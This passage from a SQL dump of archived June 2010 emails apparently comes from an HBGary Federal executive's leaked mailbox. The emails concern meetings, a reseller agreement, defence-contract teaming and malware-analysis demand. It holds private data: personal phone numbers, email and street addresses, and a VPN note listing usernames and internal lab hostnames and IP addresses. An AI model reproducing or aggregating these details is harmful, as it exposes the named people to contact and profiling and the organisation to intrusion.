(http://1410q.com)\r\n> skype:scott.suhy\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, June 24, 2010 1:39 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Meeting\r\n>\r\n> How does wednesday work?\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 23, 2010, at 4:39 PM, Scott Suhy \r\n> wrote:\r\n>\r\n>> Yes, what day?\r\n>>\r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>> skype:scott.suhy\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 23, 2010 2:49 PM\r\n>> To: Scott Suhy\r\n>> Subject: Meeting\r\n>>\r\n>> Hi Scott,\r\n>>\r\n>> Do you have some time to meet with the Prime next week for the\r\n>> opportunity\r\n> I\r\n>> was discussing.  The meeting would be in Chantilly.  We would like to\r\n> bring\r\n>> PointAbout on the team.  As I mentioned its a $35-60M multi-year\r\n>> new media\r\n>> development effort.\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n>> 06/23/10\r\n>> 02:36:00\r\n>>\r\n>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n> 06/24/10\r\n> 02:35:00\r\n>\r\n',198,'aaron_hbgary_com/198.html'),(7783,'2010-06-24','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297006017.M918514P14101Q2638.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','VPN','I&#39;ll SMS you the passwordsU: aaronssh@destini : U:aaron/etc/hosts file additions :192.168.0.1 cinnamon.lab.hbgaryfederal.com cinnamon192.168.0.100 layla.lab.hbgaryfederal.com layla\r\n192.168.0.101 brandi.lab.hbgaryfederal.com brandi192.168.0.102 nikki.lab.hbgaryfederal.com nikki192.168.0.103 bambi.lab.hbgaryfederal.com bambi\r\n192.168.0.104 candi.lab.hbgaryfederal.com candi192.168.0.105 bromine.lab.hbgaryfederal.com bromine192.168.0.105 destini.lab.hbgaryfederal.com destini\r\n192.168.0.106 angel.lab.hbgaryfederal.com angel192.168.0.107 cristal.lab.hbgaryfederal.com cristal192.168.0.108 lacie.lab.hbgaryfederal.com lacie\r\n\r\n',12674,'aaron_hbgary_com/12674.html'),(7784,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006021.M983326P14101Q2639.eml','\"Larry Strang\" <larry.strang@tasc.com>','HBGary federal data sheet','I\'ll send you a few more things later.  I enjoyed our conversation.\r\nAaron\r\n',8193,'aaron_hbgary_com/8193.html'),(7785,'2010-06-24','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006022.M673362P14101Q2640.eml','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','Re: Upcoming Potomac Officers Club Event','r.rohozinski@secdev.caRafals email address.AaronFrom my iPhoneOn Jun 21, 2010, at 3:21 PM, Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nhttps://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n \r\n\r\n \r\n\r\nSincerely,\r\n\r\n \r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n \r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13415,'aaron_hbgary_com/13415.html'),(7786,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006022.M903532P14101Q2641.eml','\"Rich Cummings\" <rich@hbgary.com>','Conversation with secdev','I had a good conversation with secdev the other day.  They see a lot\r\nof attacks that originate from google.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',14932,'aaron_hbgary_com/14932.html'),(7787,'2010-06-25','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006023.M262120P14101Q2642.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Conversation with secdev','Love to hear more\r\n\r\nOn 6/24/10, Aaron Barr  wrote:\r\n> I had a good conversation with secdev the other day.  They see a lot\r\n> of attacks that originate from google.\r\n>\r\n> Aaron\r\n>\r\n>  From my iPhone\r\n>\r\n\r\n-- \r\nSent from my mobile device\r\n',7293,'aaron_hbgary_com/7293.html'),(7788,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006023.M608499P14101Q2643.eml','rich@hbgary.com','Re: Conversation with secdev','Call u in a bit\r\n\r\n From my iPhone\r\n\r\nOn Jun 24, 2010, at 8:31 PM, Rich Cummings  wrote:\r\n\r\n> Love to hear more\r\n>\r\n> On 6/24/10, Aaron Barr  wrote:\r\n>> I had a good conversation with secdev the other day.  They see a lot\r\n>> of attacks that originate from google.\r\n>>\r\n>> Aaron\r\n>>\r\n>> From my iPhone\r\n>>\r\n>\r\n> --\r\n> Sent from my mobile device\r\n',13145,'aaron_hbgary_com/13145.html'),(7789,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006023.M929446P14101Q2644.eml','\"Chris Clair\" <CHRISTOPHER.CLAIR@tasc.com>','Conversation','Hi chris,\r\n\r\nSomething you mentioned today concerns me a bit so I would like to\r\ntalk in some more detail about places of work, types of work,\r\npercentages of work, etc.  I know without the rfp some of this is\r\ntough but we can start to have this conversation i think andstick with\r\npercentages of work.\r\n\r\nI was under the impression some portion of the work would remain in\r\nthe springs based on our conversations of the SCIF, comms, etc.  Let\r\nme know when you have some time to talk.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n',11115,'aaron_hbgary_com/11115.html'),(7790,'2010-06-25','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006024.M579145P14101Q2645.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conversation','\r\n\r\n\r\n\r\n\r\nRE: Conversation\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nThanks for the note.&nbsp; I thought our conversation was a little rocky but also wanted us to let it sink in.&nbsp; We can continue this conversation tomorrow.&nbsp; I can have John and Kathy sit in as well.&nbsp; You brought up some good points, ones that had not sunk in all the way.&nbsp;\r\n\r\nHow does 10:00 sound?&nbsp; My place or yours?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 6/24/2010 9:25 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Conversation\r\n\r\nHi chris,\r\n\r\nSomething you mentioned today concerns me a bit so I would like to\r\ntalk in some more detail about places of work, types of work,\r\npercentages of work, etc.&nbsp; I know without the rfp some of this is\r\ntough but we can start to have this conversation i think andstick with\r\npercentages of work.\r\n\r\nI was under the impression some portion of the work would remain in\r\nthe springs based on our conversations of the SCIF, comms, etc.&nbsp; Let\r\nme know when you have some time to talk.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n',13570,'aaron_hbgary_com/13570.html'),(7791,'2010-06-25','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006025.M515336P14101Q2647.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Conversation','\r\n\r\n\r\n\r\n\r\nRE: Conversation\r\n\r\n\r\n\r\n\r\nSounds good, how about 2:00?&nbsp; Unless you want lunch then you can come earlier.&nbsp; Name the time, I\'ll herd the cats to see who is in.\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 6/24/2010 9:45 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Re: Conversation\r\n\r\nErrr. 10 is bad I will be in Alexandria talking with inscom.&nbsp; How about\r\nafternoon?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 24, 2010, at 9:37 PM, &quot;Clair, Chris (TASC)&quot; &lt;\r\nCHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\nHi Aaron,\r\n\r\nThanks for the note.&nbsp; I thought our conversation was a little rocky but also\r\nwanted us to let it sink in.&nbsp; We can continue this conversation tomorrow.&nbsp; I\r\ncan have John and Kathy sit in as well.&nbsp; You brought up some good points,\r\nones that had not sunk in all the way.\r\n\r\nHow does 10:00 sound?&nbsp; My place or yours?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com &lt;aaron@hbgary.com&gt;&lt;aaron@hbgary.com&gt;\r\n]\r\nSent: Thu 6/24/2010 9:25 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Conversation\r\n\r\nHi chris,\r\n\r\nSomething you mentioned today concerns me a bit so I would like to\r\ntalk in some more detail about places of work, types of work,\r\npercentages of work, etc.&nbsp; I know without the rfp some of this is\r\ntough but we can start to have this conversation i think andstick with\r\npercentages of work.\r\n\r\nI was under the impression some portion of the work would remain in\r\nthe springs based on our conversations of the SCIF, comms, etc.&nbsp; Let\r\nme know when you have some time to talk.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n',16491,'aaron_hbgary_com/16491.html'),(7792,'2010-06-25','\"Tri Tang\" <ttang@palantir.com>','/aaron@hbgary.com/new/1297006025.M839441P14101Q2648.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: FW: Invitation: Ping Pong Challenge @ Fri Jul 9 11:30pm - Sat Jul 10, 	2010 12:30am (msteckman@palantirtech.com)','',9484,'aaron_hbgary_com/9484.html'),(7793,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006025.M98499P14101Q2646.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: Conversation','Errr. 10 is bad I will be in Alexandria talking with inscom.  How about afternoon?AaronSent from my iPadOn Jun 24, 2010, at 9:37 PM, &quot;Clair, Chris (TASC)&quot; &lt;CHRISTOPHER.CLAIR@tasc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nThanks for the note.  I thought our conversation was a little rocky but also wanted us to let it sink in.  We can continue this conversation tomorrow.  I can have John and Kathy sit in as well.  You brought up some good points, ones that had not sunk in all the way. \r\n\r\n\r\nHow does 10:00 sound?  My place or yours?\r\n\r\nChris\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Thu 6/24/2010 9:25 PM\r\nTo: Clair, Chris (TASC)\r\nSubject: Conversation\r\n\r\nHi chris,\r\n\r\nSomething you mentioned today concerns me a bit so I would like to\r\ntalk in some more detail about places of work, types of work,\r\npercentages of work, etc.  I know without the rfp some of this is\r\ntough but we can start to have this conversation i think andstick with\r\npercentages of work.\r\n\r\nI was under the impression some portion of the work would remain in\r\nthe springs based on our conversations of the SCIF, comms, etc.  Let\r\nme know when you have some time to talk.\r\n\r\nThanks,\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15092,'aaron_hbgary_com/15092.html'),(7794,'2010-06-25','\"Nancy Cimino\" <nancycimino@ciminohome.com>','/aaron@hbgary.com/new/1297006026.M216203P14101Q2649.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Nancy Cimino has indicated you are a fellow group member of Cyber Intelligence Network:\r\n\r\n  \r\n    Hi Aaron, maybe we can help each other in the future.  My expertise is in Intel/Defense &amp; Commercial Recruiting, as well as Continuous Availability of mission critical data applications.  Contact me anytime.\r\n\r\n\r\n\r\nThank you,\r\n\r\n\r\n\r\nNancy\r\n\r\n\r\n\r\nNancy Cimino\r\n\r\nCEO\r\n\r\nMarketing Strategies\r\n\r\n703-724-3880\r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Nancy Cimino\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW your LinkedIn profile helps you control your public image when people search for you? Setting your profile as public means your LinkedIn profile will come up when people enter your name in leading search engines. Take control of your image! \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',4108,'aaron_hbgary_com/4108.html'),(7795,'2010-06-25','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297006026.M533567P14101Q2650.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Upcoming Potomac Officers Club Event','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGot it&nbsp; - thank you.&nbsp; Have a great weekend. J\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, June 24, 2010 6:43 PM\r\nTo: Jennifer Jordan-Harrell\r\nSubject: Re: Upcoming Potomac Officers Club Event\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nr.rohozinski@secdev.ca\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRafals email address.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 21, 2010, at 3:21 PM, Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer\r\nJordan-Harrell\r\n\r\nGroup\r\nManager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8131,'aaron_hbgary_com/8131.html'),(7796,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006047.M375633P14101Q2651.eml','\"Penny Leavy\" <penny@hbgary.com>','Fwd: SecDev - Meeting in Washington area - June 23 (Wednesday)','I believe you need to sign this.\r\n\r\nAaron\r\n\r\nBegin forwarded message:\r\n\r\n> From: Arnav Manchanda \r\n> Date: June 22, 2010 2:23:52 PM EDT\r\n> To: Aaron Barr \r\n> Subject: Re: SecDev - Meeting in Washington area - June 23 (Wednesday)\r\n> \r\n> Hi Aaron,\r\n> \r\n> Just wanted to followup regarding the reseller agreement - I have had it signed by Rafal and scanned - attached is a scanned copy. I will bring the original copy for your signature tomorrow when we meet.\r\n> \r\n> Best,\r\n> Arnav\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> On 2010-06-21, at 9:59 PM, Aaron Barr wrote:\r\n> \r\n>> I am going to be coming from Chantilly so let\'s not head up to Bethesda and deal with traffic.  I will get us an office in Tysons Corner.  Sound Good?  I will send an address tomorrow.\r\n>> \r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jun 21, 2010, at 10:40 AM, Arnav Manchanda  wrote:\r\n>> \r\n>>> We can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that\'s best, given traffic on a Wednesday?\r\n>>> \r\n>>> Arnav Manchanda\r\n>>> Business Capture & Analytics\r\n>>> \r\n>>> The SecDev Group\r\n>>> complexity.engaged\r\n>>> \r\n>>> World Exchange Plaza\r\n>>> 45 O\'Connor Street, Suite 1150\r\n>>> Ottawa, Ontario K1P 1A4\r\n>>> Office: +1 (613) 755-4007\r\n>>> Cell:  +1 (613) 806-4081\r\n>>> E-mail: a.manchanda@secdev.ca \r\n>>> \r\n>>> \r\n>>> \r\n>>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>>> \r\n>>> \r\n>>> \r\n>>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>>> \r\n>>> \r\n>>> \r\n>>> On 2010-06-21, at 10:34 AM, Aaron Barr wrote:\r\n>>> \r\n>>>> That should work fine.  Where would you like to meet?\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> On Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:\r\n>>>> \r\n>>>>> Hi Aaron,\r\n>>>>> \r\n>>>>> How does 1pm sound, or shortly after?\r\n>>>>> \r\n>>>>> Best,\r\n>>>>> Arnav\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>>> On 2010-06-21, at 10:27 AM, Aaron Barr wrote:\r\n>>>>> \r\n>>>>>> Sorry I meant Wednesday.\r\n>>>>>> \r\n>>>>>> On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:\r\n>>>>>> \r\n>>>>>>> Hi Aaron,\r\n>>>>>>> \r\n>>>>>>> That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)\r\n>>>>>>> \r\n>>>>>>> Best,\r\n>>>>>>> Arnav\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Arnav Manchanda\r\n>>>>>>> Business Capture & Analytics\r\n>>>>>>> \r\n>>>>>>> The SecDev Group\r\n>>>>>>> complexity.engaged\r\n>>>>>>> \r\n>>>>>>> World Exchange Plaza\r\n>>>>>>> 45 O\'Connor Street, Suite 1150\r\n>>>>>>> Ottawa, Ontario K1P 1A4\r\n>>>>>>> Office: +1 (613) 755-4007\r\n>>>>>>> Cell:  +1 (613) 806-4081\r\n>>>>>>> E-mail: a.manchanda@secdev.ca \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> On 2010-06-18, at 6:54 AM, Aaron Barr wrote:\r\n>>>>>>> \r\n>>>>>>>> Hi Arnav,\r\n>>>>>>>> \r\n>>>>>>>> Sounds great.  I have a meeting in Chantilly from 10-11, so how about the afternoon?\r\n>>>>>>>> \r\n>>>>>>>> Aaron\r\n>>>>>>>> \r\n>>>>>>>> Sent from my iPad\r\n>>>>>>>> \r\n>>>>>>>> On Jun 17, 2010, at 10:47 PM, Arnav Manchanda  wrote:\r\n>>>>>>>> \r\n>>>>>>>>> Dear Aaron,\r\n>>>>>>>>> \r\n>>>>>>>>> I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\n>>>>>>>>> \r\n>>>>>>>>> Best wishes,\r\n>>>>>>>>> Arnav\r\n>>>>>>>>> \r\n>>>>>>>>> Arnav Manchanda\r\n>>>>>>>>> Business Capture & Analytics\r\n>>>>>>>>> \r\n>>>>>>>>> The SecDev Group\r\n>>>>>>>>> complexity.engaged\r\n>>>>>>>>> \r\n>>>>>>>>> World Exchange Plaza\r\n>>>>>>>>> 45 O\'Connor Street, Suite 1150\r\n>>>>>>>>> Ottawa, Ontario K1P 1A4\r\n>>>>>>>>> Office: +1 (613) 755-4007\r\n>>>>>>>>> Cell:  +1 (613) 806-4081\r\n>>>>>>>>> E-mail: a.manchanda@secdev.ca \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> Aaron Barr\r\n>>>>>> CEO\r\n>>>>>> HBGary Federal Inc.\r\n>>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',10736,'aaron_hbgary_com/10736.html'),(7797,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006050.M839222P14101Q2652.eml','\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>,\"Rafal Rohozinski\" <r.rohozinski@secdev.ca>','Discussions','Rafal,\r\n\r\nI am glad we got a chance to talk in person and very much look forward to working with SecDev.\r\n\r\nI gave your contact information to Jennifer Harrell from ExecutiveBiz who is managing the roster for the cyber group I mentioned, she should be in contact with you shortly.\r\n\r\nI think for the short term on IR engagements the easiest would be to use HBGary Federal services which come with the tools.  If there are specific opportunities for you that this model doesn\'t fit but you want to use the tools, let me know and I will work something out.  All of my current specialists have a background in operational IO (for context).\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',3619,'aaron_hbgary_com/3619.html'),(7798,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006051.M227406P14101Q2653.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','Arnav,Sorry. &nbsp;Penny needs to sign this from HBGary Inc. &nbsp;HBGary federal will manage the relationship with SecDev, work to help solve any questions, partner for pursuits, etc., but this agreement HBGary Inc. needs to sign. &nbsp;I forwarded it to her for signature.AaronOn Jun 22, 2010, at 2:23 PM, Arnav Manchanda wrote:Hi Aaron,Just wanted to followup regarding the reseller agreement - I have had it signed by Rafal and scanned - attached is a scanned copy. I will bring the original copy for your signature tomorrow when we meet.Best,Arnav&lt;Reseller_SecDev-HBGary.PDF&gt;\r\nOn 2010-06-21, at 9:59 PM, Aaron Barr wrote:I am going to be coming from Chantilly so let\'s not head up to Bethesda and deal with traffic. &nbsp;I will get us an office in Tysons Corner. &nbsp;Sound Good? &nbsp;I will send an address tomorrow.\r\nAaronSent from my iPadOn Jun 21, 2010, at 10:40 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nWe can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that\'s best, given traffic on a Wednesday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:34 AM, Aaron Barr wrote:\r\nThat should work fine. &nbsp;Where would you like to meet?AaronOn Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:\r\nHi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:\r\nSorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:\r\nHi Aaron,That will work, most likely early afternoon. I\'ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; Analytics\r\nThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O\'Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great. &nbsp;I have a meeting in Chantilly from 10-11, so how about the afternoon?\r\nAaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\n\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\n\r\nCell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11613,'aaron_hbgary_com/11613.html'),(7799,'2010-06-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006051.M627880P14101Q2654.eml','\"Don Bailey\" <dbailey@blackbirdtech.com>','Google','Hey Don,\r\n\r\nQuestion.  Can you introduce me to someone at google with a clearance?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',2606,'aaron_hbgary_com/2606.html'),(7800,'2010-06-25','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006052.M128087P14101Q2655.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Increasing, prospects are asking for automated sandbox analysis','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny, Greg, Aaron, Ted and Rich,\r\n\r\n&nbsp;\r\n\r\nI am getting new requests for automated sandbox malware\r\nanalysis.&nbsp; Here are the list of organizations who have asked for it:\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNSA ANO\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNSA Blue Team\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nNSA Center for Assured 